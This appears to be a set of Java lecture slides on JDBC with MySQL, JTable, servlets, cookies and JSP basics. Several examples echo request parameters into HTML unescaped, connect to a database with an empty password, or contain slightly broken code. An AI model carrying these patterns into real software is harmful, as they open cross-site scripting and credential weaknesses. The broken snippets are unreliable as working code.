Connector/J

Creating Database books in MySQL

Manipulating Databases with JDBC

JTable for SQL Tables

2

Page 295: Taner Erkan Java 2 lecture Ders notları

Introduction

A database is an organized collection of data.

There are many different strategies for organizing

data to facilitate easy access and manipulation.

A database management system (DBMS) provides

mechanisms for storing, organizing, retrieving

and modifying data for many users.

Database management systems allow for the access

and storage of data without concern for the

internal representation of data.

Page 296: Taner Erkan Java 2 lecture Ders notları

Relational Databases

A relational database is a logical

representation of data that allows the data to

be accessed without consideration of its

physical structure.

A relational database stores data in tables.

Page 297: Taner Erkan Java 2 lecture Ders notları

Table analysis Primary key – is unique number given for each row, which

can improve search time.

Row – is one set of data.

Column – is ne parameter of data, can be of different types,

VARCHAR, INT, BLOB, TEXT, etc…

Page 298: Taner Erkan Java 2 lecture Ders notları

SQL

CREATE – Creates table in database with given types of columns,

SELECT - Retrieves data from one or more tables.

FROM - Tables involved in the query. Required in every SELECT.

WHERE - Criteria for selection that determine the rows to be retrieved, deleted or updated. Optional in a SQL query or a SQL statement.

GROUP BY - Criteria for grouping rows. Optional in a SELECT query.

ORDER BY - Criteria for ordering rows. Optional in a SELECT query.

INNER JOIN - Merge rows from multiple tables.

INSERT - Insert rows into a specified table.

UPDATE - Update rows in a specified table.

DELETE - Delete rows from a specified table.

Page 299: Taner Erkan Java 2 lecture Ders notları

Simple SQL commands

Let’s separate sql commands to two categories,

which can be used in java.

First is update statements:

-CREATE TABLE…

-DROP TABLE…

-UPDATE …

-INSERT…

Second is select queries:

-SHOW TABLES…

-SELECT …

Page 300: Taner Erkan Java 2 lecture Ders notları

CREATE

CREATE TABLE students( id INT, name VARCHAR(30),

surname VARCHAR(30) ); SQL statement to create new ‘students’ table.

In same manner all other tables can be created.

Page 301: Taner Erkan Java 2 lecture Ders notları

Update statements – used to modify Database

To delete one table from DB use:

[DROP TABLE students;] To change values in some rows use:

[UPDATE students SET name=‘Anzor’ WHERE surname=‘Israilov’;]

To insert new line into table use:

[INSERT INTO students (id, name, surname)

VALUES(1,’Askar’,’Satabaldiev’);] To delete rows from table use:

[DELETE FROM students WHERE id>2]

Page 302: Taner Erkan Java 2 lecture Ders notları

Select QUERY – used to retrieve

some information from database. To view all available tables use:

[SHOW TABLES;]

To select data from one particular table use one

of following:

[SELECT * FROM students] retrieves all data from

table students.

[SELECT name FROM students] retrieves list of

name parameters from table students.

[SELECT name, surname FROM students WHERE

id>10;] retrieves list of name and surname

parameters from table students, in case their ids are

greater than 10.

Page 303: Taner Erkan Java 2 lecture Ders notları

Instructions to install MySQL and

MySQL Connector/J

MySQL executes on many platforms,

including Windows, Solaris, Linux, and

Macintosh. Complete information about

MySQL is available from

www.mysql.com/products/mysql/

Download and install.

You can use set of tools like.

XAMPP for Windows to install apache

WEB server + MySQL.

Page 304: Taner Erkan Java 2 lecture Ders notları

MySQL Connector/J

To use MySQL with JDBC, you also need to install

MySQL Connector/J a JDBC driver that allows

programs to access MySQL databases via JDBC.

MySQL Connector/J can be downloaded from:

http://www.mysql.com/downloads/connector/j/

Or from intranet:

http://192.168.0.8/~andrey/books&distr/mysql-

connector-java-5.1.15.zip

Page 305: Taner Erkan Java 2 lecture Ders notları

Example for connection1. import java.sql.*;

2. public class DataBase{

3. public static void main(String args[] )throws Exception{

4. Class.forName("com.mysql.jdbc.Driver");

5. Connection con = DriverManager.getConnection(

6. "jdbc:mysql://192.168.0.8/studentdb?user=student&password=");

7. Statement stmt = con.createStatement();

8. ResultSet rs = stmt.executeQuery("select * from students");

9. while(rs.next()){

10. System.out.println(rs.getString(1)+"\t"+rs.getString(2)

11. +"\t"+rs.getString(3));

12. }

13. }

14. }

Page 306: Taner Erkan Java 2 lecture Ders notları

Driver problems

As mentioned we need Driver for connection. So line:

Class.forName("com.mysql.jdbc.Driver");

Executes driver for MySql connections and later we can connect

to MySql database, wherever it is placed.

BUT, this line is not all. For any driver we have special *.jar file

which contains all needed classes and libraries. In our case it is:

mysql-connector-java-5.1.7-bin.jar

Class.forName() command is part of reflection technology of

java, and this technology is executed on run-time. So to compile

this file you do not need to add that jar file, but when executed

use following:

java –classpath mysql-connector-java-5.1.15-bin.jar;. DataBase

In classpath directive driver libraries and current directory is

included.

Page 307: Taner Erkan Java 2 lecture Ders notları

Create connection

For each type of driver there are different

connection lines. For mysql we use:

Connection con = DriverManager.getConnection(

"jdbc:mysql://192.168.0.8/studentdb?user=student&p

assword=");

jdbc:mysql: - is type of driver

//192.168.0.8/ - is host where database is running(can be

//localhost/)

studentdb – is name of database to use

?user=student&password= - is username and

password for database.

Page 308: Taner Erkan Java 2 lecture Ders notları

import java.sql.*

All sql related classes are placed in java.sql.* library so do not forget to include it.

Statement stmt = con.createStatement();

This line creates statement for connection.

Statement object is some kind of one pipe or session of connection. So to execute any query first statement is need to be created.

ResultSet rs = stmt.executeQuery("select * from students");

executeQuery() method of Statement is used to send sqlselect queries to database. And it returns ResultSet, which is one variation of table.

stmt.executeUpdate("insert into students values(2,A,B)");

executeUpdate() method is to run sql update statemens,returns quantity of rows affected.

Page 309: Taner Erkan Java 2 lecture Ders notları

ResultSet

while(rs.next()){

System.out.println(rs.getString(1)+"\t"+rs.getString(2)+

"\t"+rs.getString(3));

}

rs.next() - Moves the cursor forward one row from

its current position. Returns true if row available.

rs.getString(1) - Retrieves the value of the

designated column in the current row as a String

rs.getString(“name”) – Retrieves value from

defined column in the current row as String.

Page 310: Taner Erkan Java 2 lecture Ders notları

JTable and Database

Java have very good GUI technology to communicate with user. Its name is swing library.

So in swings we also can use database to perform good tasks.

In example we will use object of class JTableto represent data retrieved from database.

Firstly it seems hard to understand how JTable works, indeed be patient and you will grasp it.

Page 311: Taner Erkan Java 2 lecture Ders notları

JTable and TableModel The JTable has many facilities that make it possible to customize its

rendering and editing. but provides defaults for these features so that simple tables can be set up easily.

For example, to set up a table with 10 rows and 10 columns of numbers:

TableModel dataModel = new AbstractTableModel() {

public int getColumnCount() { return 10; }

public int getRowCount() { return 10;}

public Object getValueAt(int row, int col) {

return new Integer(row*col);

}

};

JTable table = new JTable(dataModel);

JScrollPane scrollpane = new JScrollPane(table);

Page 312: Taner Erkan Java 2 lecture Ders notları

ResultSetTableModel – for each Result set

object we can create separate TableModel

1. class ResultSetTableModel extends AbstractTableModel{

2. public ResultSetTableModel(ResultSet rs){

3. rs.last();

4. rowCount = rs.getRow();

5. columnCount = rs.getMetaData().getColumnCount();

6. }

7. public int getColumnCount() { return columnCount; }

8. public int getRowCount() { return rowCount;}

9. public String getColumnName(int col){

10. return rs.getMetaData().getColumnLabel(col+1);

11. }

12. public Object getValueAt(int row, int col){

13. rs.absolute(row+1);

14. return rs.getObject(col+1);

15. }

16. }

Page 313: Taner Erkan Java 2 lecture Ders notları

TableFrame – frame where table is created

1. public class TableFrame extends JFrame{

2. private Statement stmt; private boolean connected; private JTable table;

3. public TableFrame(){

4. connected = connect();

5. ResultSet rs = stmt.executeQuery("select * from students");

6. table = new JTable(new ResultSetTableModel(rs));

7. add(new JScrollPane(table),BorderLayout.CENTER);

8. table.addNotify();

9. }

10. public boolean connect(){

11. Class.forName("com.mysql.jdbc.Driver");

12. Connection conn =

13. DriverManager.getConnection(

14. "jdbc:mysql://192.168.0.8/studentdb","student","");

15. stmt = conn.createStatement();

16. }

17. } Be careful these code miss some necessary error handling,

to execute try ready examples placed on server

Page 314: Taner Erkan Java 2 lecture Ders notları

Example

“Select * from students”

query result from table

‘students’ on server

‘192.168.0.8’

Page 315: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 316: Taner Erkan Java 2 lecture Ders notları

Lecture 12Chapter 26

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

CodeNotes for J2EE, Chapter 5, p70

Edited by GREGORY BRILL

• Andrey Bogdanchikov

By:

Page 317: Taner Erkan Java 2 lecture Ders notları

Content

Introduction

Servlet Overview and Architecture

Setting Up the Apache Tomcat Server

Handling HTTP get Requests

Handling HTTP get Requests Containing Data

Handling HTTP post Requests

Redirecting Requests to Other Resources

Multitier Applications: Using JDBC from a Servlet

Welcome Files2

Page 318: Taner Erkan Java 2 lecture Ders notları

Introduction

Our discussion in this chapter continues the focus in

Chapter 24the client-server relationship.

The client requests that some action be performed and

the server performs the action and responds to the

client.

This request-response model of communication is the

foundation for the highest-level views of networking in

Java servlets and JavaServer Pages (JSP).

A servlet extends the functionality of a server, such as

a Web server that serves Web pages to a user's

browser using the HTTP protocol.

Packages javax.servlet and javax.servlet.http

provide the classes and interfaces to define servlets.

Page 319: Taner Erkan Java 2 lecture Ders notları

Life-Cycle

Page 320: Taner Erkan Java 2 lecture Ders notları

Simple Application

Servlet technology allows you to develop

Java applications that generate web

content.

The HelloServlet example illustrates

some of the basic properties of a Servlet.

The example has two sections:

◦ the code and

◦ the configuration.

Page 321: Taner Erkan Java 2 lecture Ders notları

import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class HelloServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String text = request.getParameter("subject"); if (text == null) {text = "World";} //Write page response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<html>"); out.println("<body>"); out.println("<h1>Hello " + text + "</h1>"); out.println("</body>"); out.println("</html>"); } }

FILE: HelloServlet.java

Page 322: Taner Erkan Java 2 lecture Ders notları

Compilation of java file

To compile your java file you need to include one library that contains Servlet superclasses:

C:\Tomcat 5.5\common\lib\servlet-api.jar – is library file, so just write this file in classpathdirective.

Like:

javac –classpath “C:\Tomcat 5.5\common\lib\servlet-api.jar” HelloServlet.java

Or you can just copy servlet-api.jar to same folder where your java file is, so:

javac –classpath servlet-api.jar HelloServlet.java

Page 323: Taner Erkan Java 2 lecture Ders notları

The configuration

Once you have built and compiled the Servlet, you should add the following XML to the web.xml deployment descriptor in your application WEB-INF directory (e.g., C:\webdev\WEB-INF\web.xml).

So your folder will consist of these files:

MYAPP\.

WEB-INF\.

web.xml

classes\.

HelloServlet.class

Page 324: Taner Erkan Java 2 lecture Ders notları

XML file

If you access the page with the basic URL (e.g., http://localhost:8080/MYAPP/HelloServlet), the output will be:

Hello World

<servlet>

<servlet-name>HelloServlet</servlet-name>

<servlet-class>HelloServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>HelloServlet</servlet-name>

<url-pattern>/HelloServlet</url-pattern>

</servlet-mapping>

Page 325: Taner Erkan Java 2 lecture Ders notları

Key Vocabulary

Buffer—The buffer is the holding tank between the server and the client. Using JSP or Servlets, you can control the buffer’s size, content, and actions.

Servlet—A Servlet is a compiled Java class that is managed by a ServletContainer and exposes ―web-page-like‖ functionality. A Servlet is conceptually similar to a CGI executable except that it is managed by a container (e.g., Tomcat) and can maintain state between client requests.

JavaServer Page (JSP)—JavaServer Pages are ―HTML-like‖ documents that contain Java code. A JSP container compiles a JSP into a Servlet the first time the page is requested.

Container—Both Servlets and JSPs rely on a container. The container performs many housekeeping functions (such as exposing common objects), maintains the life cycle of the Servlet or JSP, and either interfaces with or is part of the web server.

Cookie—A cookie is a small text file that is stored on the client. A cookie contains arbitrary name-value pairs and is often used to store user preferences and other client-specific information. HTTP is a fundamentally stateless protocol, so cookies are often used to keep track of client state between page requests.

Engine—This term persists from the original specification for Servlets but has been supplanted by the concept of a container (see above).

Web server—The web server is a stand-alone application that handles the housekeeping chores of accepting, translating, and broadcasting content over HTTP.

Servlets and JavaServer Pages (JSPs) share many of the same core

concepts and vocabulary. These terms apply equally to both JSPs and

Servlets:

Page 326: Taner Erkan Java 2 lecture Ders notları

This basic life cycle can be modified in many ways. A Servlet can connect to

another Servlet, a web page, or a JSP. A Servlet can also instantiate other Java

classes and perform actions such as connecting to a database or sending an

e-mail.

Page 327: Taner Erkan Java 2 lecture Ders notları

Servlet Configuration Every time you create a new Servlet, you must reconfigure the web

application by modifying the deployment descriptor. Fortunately, the configuration step is minor. Unfortunately, some Servlet containers require that you stop and restart the server in order to add a new Servlet.

In order to register a Servlet with your application, you must add a couple of new XML nodes to the application’s web.xml descriptor file (e.g., c:\webdev\WEB-INF\web.xml). These basic nodes should be placed inside the <web-app> tags, and should look like:

<servlet>

<servlet-name>name</servlet-name>

<servlet-class>ClassName</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>name</servlet-name>

<url-pattern>ServletURL</url-pattern>

</servlet-mapping>

Page 328: Taner Erkan Java 2 lecture Ders notları

State, Scope, and Context State – State refers to the ability to save information. An application that

―remembers‖ data from one page to the next is said to ―maintain state‖ or to be ―stateful.‖ A basic HTML page does not retain information between HTTP requests and is thus ―stateless.‖

Scope – Scope is often described as the lifespan of state, or the length of time over which state is maintained and can be accessed. Servlets and JSP have four basic levels of scope:

1. Page—The page scope is defined as the time between the initialization of a particular page and its destruction. Page scope is only available for JSPs.

2. Session—The session scope consists of a single interactive conversation between a client and a web server. Data stored in the session scope maintains state until the session is destroyed through timeout, or through closing the browser(s) that accessed the site, or through a communications failure.

3. Application—The application scope relates to all of the Servlets and JSPs that are part of a Java web application. This scope transcends individual users and is often used for hit counters and support systems (e.g., JDBC connection pools). Application scope is maintained until the server is restarted or the application is redeployed.

4. Request—The request scope relates specifically to the request that launched the page. A request scope can be forwarded through several Servlets and JSPs and maintains its state until a response object is sent in reply to the client.

Page 329: Taner Erkan Java 2 lecture Ders notları

Topic: Basic Servlets

Servlets are simply Java classes that follow three basic rules:

• An HTTP Servlet must extend javax.servlet.http.HttpServlet(or extend an abstract class that does).

• The Servlet must implement at least one of the following methods:

doGet(), doPost(), doPut(), doDelete(), init(), destroy(), or service().

• The servlet can optionally implement init(), destroy(), or getServletInfo().

However, there is much more to Servlets than the implementation of a few simple methods. This topic begins with the basic methods and then provides some examples of the suprising power of basic Servlets.

Page 330: Taner Erkan Java 2 lecture Ders notları

HTTP Methods and service( )

All HTTP network requests have several ―methods‖ of invocation that indicate the intent of the request, such as GET, POST, PUT, and DELETE.

In practice, only GET and POST methods are used. When a Servlet container first routes to a Servlet, it invokes the service() method.

By default, the service() method will dispatch to doGet(), doPost(), doPut(), or doDelete() based on the method information given in the HTTP request header.

You can override this default service() implementation to respond to all HTTP requests in an identical way, although you would usually just override doGet() or doPost().

Page 331: Taner Erkan Java 2 lecture Ders notları

Get

The GET method is the most common form of HTTP request. The doGet() method receives an HttpServletRequest and an HttpServletResponse object (both described in the next topic, on support objects) and must throw java.io.IOException and ServletException.

A simple implementation might look like this:

public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {

res.setContentType("text/html");

PrintWriter out = res.getWriter();

out.println("Hello World");

}

Page 332: Taner Erkan Java 2 lecture Ders notları

Post

HTTP employs the POST method to transfer large amounts of HTML form data. The doPost() method is called much like doGet(). If the Servlet’s service() method receives an HTTP POST request, the Servlet’s doPost() method is called. The input parameters are identical to doGet().

The doPost() method is sometimes chained to doGet():

public void doPost (HttpServletRequest req,

HttpServletResponse res) throws ServletException, IOException {

doGet(req, res);

}

Page 333: Taner Erkan Java 2 lecture Ders notları

Init and Destroy

The init and destroy methods identify the beginning

and end of the Servlet life cycle. The init() method is

called when a Servlet is being placed into service by

the container, and the destroy() method is called

when the container takes the Servlet out of service.

These methods are most often used to initialize and

release resources, or to provide other life cycle–

sensitive support functions.

Page 334: Taner Erkan Java 2 lecture Ders notları

ServletInfo

The getServletInfo() method can be

overridden to provide information such as

the Servlet author, company, copyright, or

version. This method returns an empty

string by default and is normally only

called by other Servlets.

Page 335: Taner Erkan Java 2 lecture Ders notları

Topic: Support Objects

The Servlet container does more than just

create and destroy Servlet instances. It also

provides instances of several support objects

such as HttpServletRequest and

HttpServletResponse. These support objects

are very useful for building complex web

applications. Each of the commonly used objects

is detailed in the following sections

Page 336: Taner Erkan Java 2 lecture Ders notları

The PrintWriter (java.io.PrintWriter)

One of the first steps in using a Servlet is setting up the java.io.PrintWriter. The PrintWriter is a text pipeline into the HttpServletResponse object, which sends the HTML output to the client. In order to set the PrintWriter, you generally set the MIME content type for the page, and then instantiate the writer.

response.setContentType("text/html");

java.io.PrintWriter out =

res.getWriter();

Anything that you write to the PrintWriter will be sent to the client browser.

Page 337: Taner Erkan Java 2 lecture Ders notları

Attributes Several of the helper objects (HttpServletRequest,

HttpServletContext, HttpSession) share the ability to store and retrieve attributes that make up the state of the Servlet. Each object holds attributes in a particular scope (request, application, and session level, respectively).

An attribute is simply a key-value pair where the key is a String and the value is a java.lang.Object. The methods for accessing attributes are common to all four objects:◦ getAttribute(key) - Returns the value associated with the key

◦ getAttributeNames() - Returns a String array of all the current attribute names

◦ setAttribute(key, value) - Adds a new attribute, or updates an existing attribute with a new value

◦ removeAttribute(key) - Removes the attribute

The attribute value is stored as a generic java.lang.Object. You can store any type of object as an attribute.

Page 338: Taner Erkan Java 2 lecture Ders notları

HttpServletRequest

The request object provides access to the initial request that has launched the page. You can use this object to retrieve any request parameters, HTTP headers, cookies, request scope attributes, and other information related to the request issued by the browser. The major methods for this object can be divided into three groups: query strings, HTTP headers, and miscellaneous methods.

Page 339: Taner Erkan Java 2 lecture Ders notları

HttpServletResponse

The HttpServletResponse object is the counterpart object to HttpServletRequest. Whereas the request tells you everything about the initiation of the page, response allows you to control the output of the page. The response object methods deal with the creation of HTTP headers, content specification, and the handling of URLs for redirecting a page. Most important, the response object is the conduit for sending data back to the client browser.

Page 340: Taner Erkan Java 2 lecture Ders notları

HTTP Header Methods The response header methods are the counterparts to the HTTP

methods in the HttpServletRequest object. You can use these methods to create HTTP headers that will be sent to the client in the response. One of the more practical uses of these methods is to prevent a web page from being cached by a browser. Because different browsers support HTTP headers in different fashions, this fragment uses three methods to try to stop the browser from caching the page.

/** This code acts on the HttpServletResponse object named res and a HttpServletRequest object

named req. First, set the expires header into the past. Most browsers will not re-use expired

pages.**/

res.setDateHeader("Expires", 0);

/** Next, set a "Pragma" header that tells HTTP 1.0 browsers not to cache the page **/

res.setHeader("Pragma", "no-cache");

/** Finally, use the HTTP 1.1 "Cache-Control" header to explicitly tell HTTP 1.l browsers not to

cache the page **/

if (req.getProtocol().equals("HTTP/1.1")) {

res.setHeader("Cache-Control", "no-cache");}

Page 341: Taner Erkan Java 2 lecture Ders notları

Navigation Methods

The HttpResponse object has three important navigation methods.

• sendRedirect()—This method sends a new URL to the client and forces the client to the new page. The sendRedirect() method will destroy the current buffer before redirecting the client. In other words, if you build half of your page, then use the sendRedirect() method, the client will not see any content from the original Servlet.

• encodeRedirectURL()—Before you can use the sendRedirect() method, you should use this function to add the session id. This method will add the session id only if the page is required to maintain state. The decision to add the id is purely up to the container.

• encodeURL()—In every case except for the sendRedirect() method, you should use encodeURL() to prepare the page reference. This method will add the session id if it is required. Because the decision on whether state is required is different for sendRedirect() than for other flow control methods (such as an HTML form), the encodeURL() method uses different logic than encodeRedirectURL().

Page 342: Taner Erkan Java 2 lecture Ders notları

javax.servlet.http.HttpSession

The session object provides a ―stateful‖ context across multiple page requests from the same client during a conversation with the server. In other words, once a user has connected to the website, the session object will be available to all of the Servlets and JSPs that the user accesses until the session is closed due to timeout or error. You can access the HttpSession object for a Servlet using the following code:

//Inside doGet() or doPost()

HttpSession session = req.getSession();

If the session does not exist, this method will automatically create one. Otherwise, you will be able to access the existing session.

Page 343: Taner Erkan Java 2 lecture Ders notları

Attributes The most commonly used feature of the session object is the

attribute storage. Remember that attributes are attached to several support objects and are the means for storing web state in a particular scope. Session attributes are commonly used to store user values (such as name and authentication) and other information that needs to be shared between pages. For example, you could easily store an e-commerce shopping cart JavaBean in a session attribute. The code on the shopping page might look like this:

//Create new attribute if shopping cart does not exist

//Assumes ShoppingCartBean object has been imported

HttpSession session = req.getSession();

if (session.getAttribute("Cart") == null) {

ShoppingCartBean cart = new ShoppingCartBean();

} else {

ShoppingCartBean cart =

(ShoppingBeanCart)session.getAttribute("Cart");

}

Page 344: Taner Erkan Java 2 lecture Ders notları

javax.servlet.ServletContext

The ServletContext object is very similar to the HttpSession object, except that the scope is wider. The ServletContext provides application-level scope, which includes all of the pages that are incorporated into the application directory or Web Archive (WAR) file.

Remember that when you set up Tomcat, you created an application called ―webdev.‖ All of the pages in ―webdev‖ share a common ServletContext. The Tomcat sample pages (in an application called ―sample‖) share a different ServletContext instance. The most commonly used application methods relate to attributes, information and utility functions, and logging.

Application attributes differ from session attributes only in terms of their scope. Unlike session attributes, application attributes are not tied to a particular user. Instead, these attributes are global to a single web application on a single JVM.

Page 345: Taner Erkan Java 2 lecture Ders notları

java.servlet.RequestDispatcher

In addition to the sendRedirect() methods

mentioned with the HttpServletResponse object, the

RequestDispatcher object provides two more

methods for controlling application flow.

The forward() and include() methods provide access

to web resources without sending data to the client.

In other words, you can use the RequestDispatcher

to create chained Servlets or Servlet filters.

Page 346: Taner Erkan Java 2 lecture Ders notları

The forward() Method RequestDispatcher.forward() is used to transfer control permanently to another

Servlet (or JSP). The forward() method is a server-side control transfer. The client browser will never know that a new Servlet has been accessed. The new Servlet will receive the current HttpServletRequest and HttpServletResponse objects and the associated session information. Unfortunately, you can’t use this method if you have already used a PrintWriter to send data to the client. An IllegalStateException will be thrown.

//In Servlet 1 (Main Servlet)

public doGet(...){

if (loginOK ){

getServletContext().getRequestDispatcher(

"servlet/Servlet2").forward(request,response);

return;

}

out.println("<H1>Login Unsuccessful</H1>");

}

Page 347: Taner Erkan Java 2 lecture Ders notları

The include() Method

RequestDispatcher.include() is similar to forward() except that it temporarily transfers control to another Servlet. When the second Servlet is finished, control is returned to the original Servlet. This method is particularly useful for accessing ―helper Servlets‖ that perform specific tasks or generate standard HTML content such as banners, tabled results, etc.

Page 348: Taner Erkan Java 2 lecture Ders notları

DESIGN NOTES

Application Flow

Use the RequestDispatcher methods to handle your application flow. The Forward() and Include() methods can be used to tie several Servlets together into a single composite page. For example, you can use the Include() method to generate preformatted headers and footers for your page. A Servlet could also be used to handle database operations and then forward() on to the next Servlet or JSP responsible for presenting the next screen.

Page 349: Taner Erkan Java 2 lecture Ders notları

Topic: Cookies

A cookie is a small text file that is stored on the client system. The file contains a single name-value pair and several configuration parameters. If you can find the cookie directory on your local machine, you should see many small (1 kb) text files with names such as yourname@codenotes[1].txt. If you open this file, you might see a few lines of text that look like:

CP

null*

espn.go.com/

0

1761935360

30785590

3250662352

29417438

*

The first line is the cookie name. The second line is the cookie value. The remaining lines define the cookie attributes.

Page 350: Taner Erkan Java 2 lecture Ders notları

Cookie

Cookies are most often used to keep track of the client session. Most servers will automatically create a cookie when a new session is created. The cookie will contain the session id and will be set to expire as soon as the client browser has been closed. In both Servlets and JSPs, cookies are accessed through HttpRequest, sent to the client through the HttpResponse, and encapsulated as javax.Servlet.http.Cookie objects.

Page 351: Taner Erkan Java 2 lecture Ders notları

Building a Cookie

A cookie is simply a single name-value pair wherein both the name and the value are String objects. The steps involved in building a cookie are very simple and relate primarily to the cookie configuration. To create a new cookie, simply instantiate the Cookie class by passing in both the name and the value. A Cookie may also be configured with one or more characteristics that are set using setXXXX() methods:

• Domain—The domain attribute specifies a web domain that should receive the cookie

(e.g., www.codenotes.com). By default this property is set to the domain that created the

cookie.

• MaxAge—You can set the cookie life span (in seconds). If the value is negative or zero, the

cookie will be destroyed when the browser is closed.

• Path—If you set a path attribute, the client will automatically send the cookie to the

specified URL. The URL must include the Servlet that created the cookie.

• Secure—If this flag is set to true, the cookie will be sent only if a secure protocol such as

HTTPS or SSL is available.

• Version—If version is set to 0, the cookie will comply with the original specification. If

version is set to 1, the cookie will comply with the newer RFC 2109 specification

Page 352: Taner Erkan Java 2 lecture Ders notları

example

The following example places the name-value pair

―Cookie-Monster‖ on the client browser: //assumes import of javax.servlet.http.*

Cookie myCookie = new Cookie("Cookie", "Monster");

myCookie.setSecure(false);

myCookie.setVersion(0);

myCookie.setMaxAge(60*60*24*7); //one week

//add the cookie to the response object.

res.addCookie(myCookie);

Page 353: Taner Erkan Java 2 lecture Ders notları

Reading Cookies If you have created a cookie for a particular page or set of

pages, the client will automatically append the cookie to the HTTP header when it requests the page again. If the cookie has expired, of course, it will not be included. When a client returns a cookie, you can access it through the HttpRequest.getCookies() method. This method returns an array of Cookie objects. You can iterate through the array with a simple for loop:

//assumes a request object called req (in doGet or doPost)

//assumes you have imported javax.servlet.http.*

Cookie[] myCookies = req.getCookies();

for (int i=0; i<myCookies.length; i++) {

out.println("Cookie name: " + myCookies[i].getName());

out.println("Cookie value: " + myCookies[i].getValue());

}

Page 354: Taner Erkan Java 2 lecture Ders notları

Chapter Summary

Servlets are compiled Java classes that act as dynamic web pages. Servlets are easy to build and can provide powerful program flow control. In the next chapter, you will see an alternative to Servlets that is much more friendly for writing HTML web content. Nevertheless, Servlets provide a valuable Java environment for application code and flow control and will be a part of any large web application.

Page 355: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 356: Taner Erkan Java 2 lecture Ders notları

Lecture 13Chapter 27

Books:

Java™ How to Program, Sixth EditionBy H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc.

CodeNotes for J2EE, Chapter 6, p99

Edited by GREGORY BRILL

• Andrey Bogdanchikov

By:

Page 357: Taner Erkan Java 2 lecture Ders notları

Contents - JAVASERVER PAGES

Introduction

Servlet vs JSP

Simple Application

JSP BUILDING BLOCKS

JSP scripting elements

Scriptlets

Actions and Directives

Implicit Objects

2

Page 358: Taner Erkan Java 2 lecture Ders notları

Introduction

The previous chapter, on Servlets, demonstrated

the building of compiled Java classes that act as

server-side web pages. JavaServer Pages (JSPs)

extend this functionality by allowing you to build

web pages that are converted to Servlets at

runtime.

The advantage of JSPs over Servlets is that the

outer Servlet framework is still available, yet you

can develop HTML and Java interchangeably with

rapid turnaround.

3

Page 359: Taner Erkan Java 2 lecture Ders notları

JSP vs. Servlet

JavaServer Pages and Servlets share many capabilities, JSP is not a replacement for Servlets. In fact, you can think of a JavaServer Page as a Servlet that has been turned inside-out.

The Servlet encapsulates the entire page in a stand-alone Java class.

The JSP exposes the raw HTML and encapsulates the Java code in a set of HTML-like tags.

Thus, Servlets are better suited to application flow control and JSPs are better suited to the building of interface and display components.

4

Page 360: Taner Erkan Java 2 lecture Ders notları

Simple Application

This is a simple JavaServer Page. As you will see, JSP

technology provides the possibility for rapid HTML

development while allowing access to all the Java classes and

components. This simple application is the JSP version of the

Servlet Hello World application:

<html>

<body>

<%String text = "World";

if (request.getParameter("subject") != null)

{text = request.getParameter("subject");} %>

Hello <%=text%>

</body>

</html>5

Page 361: Taner Erkan Java 2 lecture Ders notları

PREREQUISITES

As a quick refresher, you should have already done

the following:

1. Created a web application directory (called

C:\Tomcat\webapps\MYAPP). Whenever you

create a JSP, you should put it in this directory.

2. Installed and started Tomcat. If you are using a

different JSP container, make sure it is properly

installed, configured, and running.

6

Page 362: Taner Erkan Java 2 lecture Ders notları

JSP BUILDING BLOCKS

JSP syntax is comprised of four basic building blocks. Each of these blocks contains a set of HTML or XML tags and tools used for adding Java to a web application:

• Scripting Elements—JSPs are built using comments, expressions, scriptlets, and declarations. These are the basic building blocks of JSPs.

• Directives—The three directives, page, include, and taglib, extend the basic scripting capabilities by providing compiler directives, including class and package libraries, and by importing custom tag libraries. Tag libraries are an important tool for factoring common scripting elements out of JSPs for improved maintainability.

• Actions—Actions further extend JSP by providing “forward” and “include” flow control, applet plug-ins, and access to Java-Bean components.

• Implicit Objects—Implicit objects are instances of specific Servletinterfaces that are implemented and exposed by the JSP container. These implicit objects can be used in JSP as if they were part of the native Java language. (ex: request, response, out, session, context, etc.)

7

Page 363: Taner Erkan Java 2 lecture Ders notları

JSP LIFE CYCLE

JavaServer Pages have a slightly different life cycle

than Servlets.

Servlets are fully compiled Java classes, whereas JSPs

must be compiled into Servlets before they can be

accessed. This compilation step is handled by the JSP

container at runtime.

When a JSP is requested, the container looks for a

Servlet class. If the class does not exist, or if the

Servlet compile date is older than the last access

date on the JSP, the JSP is compiled.

8

Page 364: Taner Erkan Java 2 lecture Ders notları

9

Page 365: Taner Erkan Java 2 lecture Ders notları

Topic: JSP Scripting Elements

This topic explains the basic JSP syntax. At first glance, a JavaServer Page looks much like an ordinary HTML document.

Much of the JSP syntax is based on a set of tags very similar to those of HTML or XML.

As you read a page of JSP, however, you may notice sections that are pure Java syntax. Using server-side scripting tags, you can encapsulate Java code directly in the web page.

10

Page 366: Taner Erkan Java 2 lecture Ders notları

11

Page 367: Taner Erkan Java 2 lecture Ders notları

Comments There are several ways to comment your JSP code.

Generally, the choice of which form to use comes down to two questions:

1. Do you want the comments to be visible if the client chooses to view the HTML source for the page? If so, use HTML comments.

2. Does the comment format match the current format in your JSP? For example, in a scriptlet section (pure Java), you should use standard Java comments. In an HTML section, you should use HTML comments.

JSP comments can be encapsulated in “<%--” and “--%>” tags, or as regular Java comments inside a code segment, using “<% /**” and “**/ %>” tags. Comments that should be visible in the final client-side code should be encapsulated with standard HTML comment tags: “<!--” and “-->”.

12

Page 368: Taner Erkan Java 2 lecture Ders notları

Declarations JSP declarations are equivalent to member variables and

functions of a class. The declared variables and methods are accessible throughout the JSP. These declarations are identified by using <%! %> or the XML equivalent <jsp:declaration></jsp:declaration> tags.

<%-- Declaring a page level String variable --%><%! String bookName = "J2EE CodeNote"; %>

<%-- Declaring a page level public method --%><%! public String palindrome(String inString) {

String outString = "";

for (int i = inString.length(); i > 0; i--) {

outString = outString + inString.charAt(i-1);

}

return outString;

} // palindrome

%>

<%-- Multiple declarations --%><%! int maxCounts = 50;

double avagadrosNum = 6.02E23;

%>13

Page 369: Taner Erkan Java 2 lecture Ders notları

Expressions

An expression is an in-line function that writes text to the buffer. Each set of expression tags encloses a fragment of Java code that must evaluate to a String. Expressions are enclosed in either <%= %> or <jsp:expression> </jsp:expression> tags.

